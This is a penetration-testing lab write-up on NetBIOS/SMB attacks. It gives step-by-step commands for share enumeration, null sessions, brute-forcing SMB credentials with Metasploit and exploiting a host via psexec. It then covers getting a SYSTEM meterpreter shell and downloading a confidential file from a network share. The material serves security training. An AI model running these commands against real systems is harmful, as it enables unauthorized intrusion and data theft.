Lab 09.0 - NetBIOS Hacking
Lab 09.0 - NetBIOS Hacking
LAB ID: 9
NETBIOS
HACKING
[NetBIOS Hacking] LAB ID: 9
1. LAB
In this engagement you’re asked to check if it is possible to access the
documents of the organization from outside the corporate networks.
2. GOALS
Access documents stored in restricted shares within the organization
network
4. RECOMMENDED TOOLS
Metasploit
Nmap
Winfo
5. TASKS
Task 1. Open ports
The anonymous account works, but doesn’t have enough privileges to get
any useful information or share from the target. Try performing a
bruteforce to get working credentials.
Tips: You can use Metasploit smb_login module or Nmap smb-brute script
By now, you should have discovered working credentials. You can now try
to enumerate shares and host information.
Exploit the machine using Metasploit psexec module. You will have to use
the credentials discovered at Task 4.
Repeat Task 3 for each host discovered, check if null sessions are
available and then try to access shared files.
Solutions
In order to discover if ports 139 and 445 are open, we can run Nmap with
the following settings:
>>nmap –p139,445 10.130.40.70
To display the NetBIOS name table we can use the following commands:
Windows:
\> nbtstat –a 10.130.40.70
Linux:
>>nmblookup –A 10.130.40.70
The <20> identifier signifies that the host has file shares enabled
Since file share is enabled, we can try to enumerate files and folders with
anonymous login:
Windows:
\> net use \\10.130.40.70\IPC$ “” /u:””
\> net view 10.130.40.70
Linux:
>> smbclient –L 10.130.40.70
We are able to login without credentials, but we are not able to get any
information. This happens because of a security policy that will not
provide us with useful information without providing proper credentials.
Since we can’t get information with anonymous user, we can try to brute
force SMB and look for weak credentials. To do it we can use Metasploit
smb_login module as follows:
msf > use auxiliary/scanner/smb/smb_login
msf auxiliary(smb_login) > set PASS_FILE /root/Desktop/default.pwd
PASS_FILE => /root/Desktop/default.pwd
msf auxiliary(smb_login) > set USER_FILE /root/Desktop/minimal.usr
USER_FILE => /root/Desktop/minimal.usr
msf auxiliary(smb_login) > set RHOSTS 10.130.40.70
RHOSTS => 10.130.40.70
msf auxiliary(smb_login) > run
Linux
>>smbclient -L 10.130.40.70 -U administrator
Windows
>>net use \\10.130.40.70\IPC$ password /u:administrator
>>net view \\10.130.40.70
meterpreter >
Only host 172.30.111.10 has ports 139/445 open. Let’s focus on it.
Now that we have discovered a potential target, we can use the same
commands used in Task 3 to detect if null sessions are available. To do it
we can run the OS shell on the exploited machine. Note that the shell will
run under system user.
meterpreter > shell
Process 1540 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system
C:\Windows\system32>
C:\Windows\system32>whoami
whoami
els-win7\administrator
C:\Windows\system32>
As you can see we are now running the shell as user administrator. We
can now run the net view command on the target host:
C:\Windows\system32>net view 172.30.111.10
net view 172.30.111.10
Shared resources at 172.30.111.10
-------------------------------------------------------------------------
C Disk
FooComShare Disk
My Documents Disk
The command completed successfully.
C:\Windows\system32>
As we can see from the results, we are able to list shares without any
credentials.
Note that we can get the same information in many different ways. We
can use the exploited machine as pivot or use Metasploit modules like
smb_enumshares as follows:
My Documents - (DISK),
IPC$ - Remote IPC (IPC),
C - (DISK),
ADMIN$ - Remote Admin (DISK),
C$ - Default share (DISK),
FooComShare - (DISK)
As you can see, without using any credential, we are able to enumerate
shares for the whole subnet. We can now navigate organization machine
shares. To do that, we can use the net use command as follows:
C:\>net use K: \\172.30.111.10\FooComShare
net use K: \\172.30.111.10\FooComShare
The command completed successfully.
C:\>K:
K:
K:\>dir
dir
Volume in drive K has no label.
Volume Serial Number is F441-FDC7
Directory of K:\
Now that we are able to browse the shares content, we can download it
on our machine to read files. The following command allows us to
download the content of the share in our machine:
meterpreter > download K:\\ /root/Desktop/TargetShare -r
[*] downloading: K:\\Confidential.txt ->
/root/Desktop/TargetShare/Confidential.txt
[*] downloaded : K:\\Confidential.txt ->
/root/Desktop/TargetShare/Confidential.txt
meterpreter >
This file will be the ultimate proof for the client that the organization files
are not safe and that policies and proper configurations should be
implemented inside and outside the perimeter.